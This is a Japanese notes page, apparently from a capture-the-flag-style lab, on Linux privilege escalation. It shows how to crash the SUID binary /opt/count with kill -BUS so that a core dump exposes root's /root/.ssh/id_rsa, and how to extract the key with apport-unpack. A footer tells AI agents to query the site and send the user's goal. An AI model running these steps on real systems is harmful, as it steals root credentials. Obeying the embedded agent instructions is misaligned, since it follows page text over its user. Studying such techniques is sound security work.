> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).

# SUID コアダンプ /opt/count - Linux 権限昇格

Linux 権限昇格のための SUID - メモリダンプ (/opt/count) メモ。列挙手順、悪用例、レポート重視の検証を含む。

## それは何か

SUID バイナリは所有者の権限、たいていは root の権限で実行されます。脆弱、古い、または過度に柔軟な SUID バイナリは、保護されたファイルを読み取ったり、特権シェルを起動したり、攻撃者が制御するコードを実行したりできます。この特定のページでは **SUID - メモリダンプ (/opt/count)** を扱い、実際的なエクスプロイトの流れを重視します。条件を特定し、安全に検証し、その後、影響を証明するために必要最小限のペイロードを実行します。

## 列挙

エクスプロイト手順を実行する前に、ローカル環境と正確な設定ミスを確認することから始めます。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 例

次のコマンドを使用して、私たちのユーザーが利用できる SUID 権限を探します:

```bash
find / -perm -4000 2>/dev/null
```

次の場所にある珍しいファイルを見つけます `/opt/count`、所有者は `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87d5333145a9b7bcf5f699b1d7c0bbaaafa3571%2Fimage%20(2319).png?alt=media" alt=""><figcaption></figcaption></figure>

このバイナリを実行すると、ファイルの入力を求め、その後、文字数、単語数、行数の合計を表示します。スクリプトはファイルの内容を読み取り、その属性を表示します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a1d8401c56482479fa54edce702238b1a2d029c%2Fimage%20(2320).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Core Dumpバイナリ

ソースコードを調べると、エラー時に内容を一時的に保存するコアダンプが生成されることがわかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e3a5192c795d5268a6d5e9c3932e06c27607fb0%2Fimage%20(2321).png?alt=media" alt=""><figcaption></figcaption></figure>

エラーは `/var/crash` ディレクトリに保存されます。core dumpを作成する方法は次のとおりです：

1. **ファイルまたはディレクトリ名を入力してください:**

   ```bash
   ソースのファイル/ディレクトリ名を入力してください: /root/.ssh/id_rsa
   ```

   （SSHのroot鍵）
2. \*\*結果をファイルに保存しますか？ \*\*

   ```css
   結果をファイルに保存しますか？ [y/N]: ^Z
   ```

   (バックグラウンド)
3. **PIDを取得：**

   ```bash
   ps
   ```

   *(PIDをコピー)*
4. **プロセスを終了する:**

   ```bash
   kill -BUS 'PID'
   ```
5. **バイナリを再起動する:**

   ```bash
   fg
   ```
6. **core dumpディレクトリを確認：**

   ```bash
   ls -l /var/crash
   ```

   （新しいファイルが現れます： `_opt_count.1000.crash`)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-347b54bb37f17463314e11c851486617677d579c%2Fimage%20(2322).png?alt=media" alt=""><figcaption></figcaption></figure>

これで、root の SSH 鍵を含む base64 のコアダンプが得られました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02fc419de4dd4fcfe845c6e5c32ea0241a23c11%2Fimage%20(2323).png?alt=media" alt=""><figcaption></figcaption></figure>

### apport-unpack

情報を抽出するために、 `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

次に、ファイルの内容を一覧表示します `/tmp/ssh/coredump` を使って `strings`:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c46dda2047d199cecd58836ce510b4a60aa12e6e%2Fimage%20(2324).png?alt=media" alt=""><figcaption></figcaption></figure>

SSHのroot鍵が見つかります

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f48f43f85f369a86a2a7d54a0e41379b2a00201%2Fimage%20(2325).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
